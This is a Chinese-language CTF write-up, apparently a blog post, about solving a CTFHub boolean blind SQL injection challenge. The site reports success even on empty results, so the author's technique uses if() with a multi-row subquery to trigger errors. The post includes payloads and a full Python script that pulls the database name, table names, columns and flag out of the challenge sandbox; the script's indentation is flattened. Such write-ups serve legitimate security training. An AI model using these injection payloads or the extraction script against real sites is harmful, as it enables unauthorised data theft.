CTF布尔盲注(新题型)

  • A+

CTFHub 布尔盲注

题目已经表明是布尔盲注,发现没有闭合,也木有过滤,本来也是道基础题,但是发现回显不对头:
payload:?id=1 and 's'='p'

在这里插入图片描述
回显是query_success
这道题和普通的布尔盲注不一样,一般布尔盲注(我做的也不多)是数据库查询结果为空或者查询语句报错,回显error。这道题是数据库查询为空,返回还是success,只有当查询语句报错时才返回erroe。

可以在sql命令行界面敲一下:

在这里插入图片描述
这样,寻常and 后面布尔盲注语句就不好使,因为它们是根据查询结果为空来判断。
这时候想到用if语句

> if(expr1,expr2,expr3),如果expr1的值为true,则执行expr2语句,如果expr1的值为false,则执行expr3语句。

那么就可以在expr1处插入判断语句,expr1处放上正确语法的sql语句,expr2处放上错误语法的sql语句
payload:
sql
?id=if(1=1,1,union select)`
?id=if(1=2,1,union select)

然而,想法很好,现实很残酷:

在这里插入图片描述
mysql在执行这条语句的时候会先对整体语句进行判断语句是否有错误,这样无论expr1处怎样,都是error。
这时候去百度一下,也没什么有用的办法。
这是想到子查询

> 子查询格式:select * from users where id=(select username from users);

但是这个有个要求就是子查询返回的结果必须只有一条记录,否则就报错
payload:

sql
?id=if(1=1,1,(select table_name from information_schema.tables))
?id=if(1=2,1,(select table_name from information_schema.tables))

在这里插入图片描述
在expr1查进行注入语句

在这里插入图片描述

在这里插入图片描述
可以得到数据库名第一个字母为s
用Python脚本跑,半自动的,,,有点慢,总的跑下来得2min左右

```python
import requests
import time

urlOPEN = 'http://challenge-80bbba4d1e9ce716.sandbox.ctfhub.com:10080/?id='
starOperatorTime = []
mark = 'query_success'

def database_name():
name = ''
for j in range(1,9):
for i in 'sqcwertyuioplkjhgfdazxvbnm':
url = urlOPEN+'if(substr(database(),%d,1)="%s",1,(select table_name from information_schema.tables))' %(j,i)
# print(url+'%23')
r = requests.get(url)
if mark in r.text:
name = name+i

            print(name)

            break
print('database_name:',name)

database_name()

def table_name():
list = []
for k in range(0,4):
name=''
for j in range(1,9):
for i in 'sqcwertyuioplkjhgfdazxvbnm':
url = urlOPEN+'if(substr((select table_name from information_schema.tables where table_schema=database() limit %d,1),%d,1)="%s",1,(select table_name from information_schema.tables))' %(k,j,i)
# print(url+'%23')
r = requests.get(url)
if mark in r.text:
name = name+i
break
list.append(name)
print('table_name:',list)

start = time.time()

table_name()

stop = time.time()

starOperatorTime.append(stop-start)

print("所用的平均时间: " + str(sum(starOperatorTime)/100))

def column_name():
list = []
for k in range(0,3): #判断表里最多有4个字段
name=''
for j in range(1,9): #判断一个 字段名最多有9个字符组成
for i in 'sqcwertyuioplkjhgfdazxvbnm':
url=urlOPEN+'if(substr((select column_name from information_schema.columns where table_name="flag"and table_schema= database() limit %d,1),%d,1)="%s",1,(select table_name from information_schema.tables))' %(k,j,i)
r=requests.get(url)
if mark in r.text:
name=name+i
break
list.append(name)
print ('column_name:',list)

column_name()

def get_data():
name=''
for j in range(1,50): #判断一个值最多有51个字符组成
for i in range(48,126):
url=urlOPEN+'if(ascii(substr((select flag from flag),%d,1))=%d,1,(select table_name from information_schema.tables))' %(j,i)
r=requests.get(url)
if mark in r.text:
name=name+chr(i)
print(name)
break
print ('value:',name)

get_data()
```

在这里插入图片描述
搞定!
这题主要还是要找那种是语法没有错误,但是不符合条件的语句,就比如union select 后面的列数必须和前面查询的列数一样,因为选择插入payload原因,选择子查询。

相关推荐: VulnHub通关日记-DC_2-Walkthrough

靶机简介 Much like DC-1, DC-2 is another purposely built vulnerable lab for the purpose of gaining experience in the world of penetrat…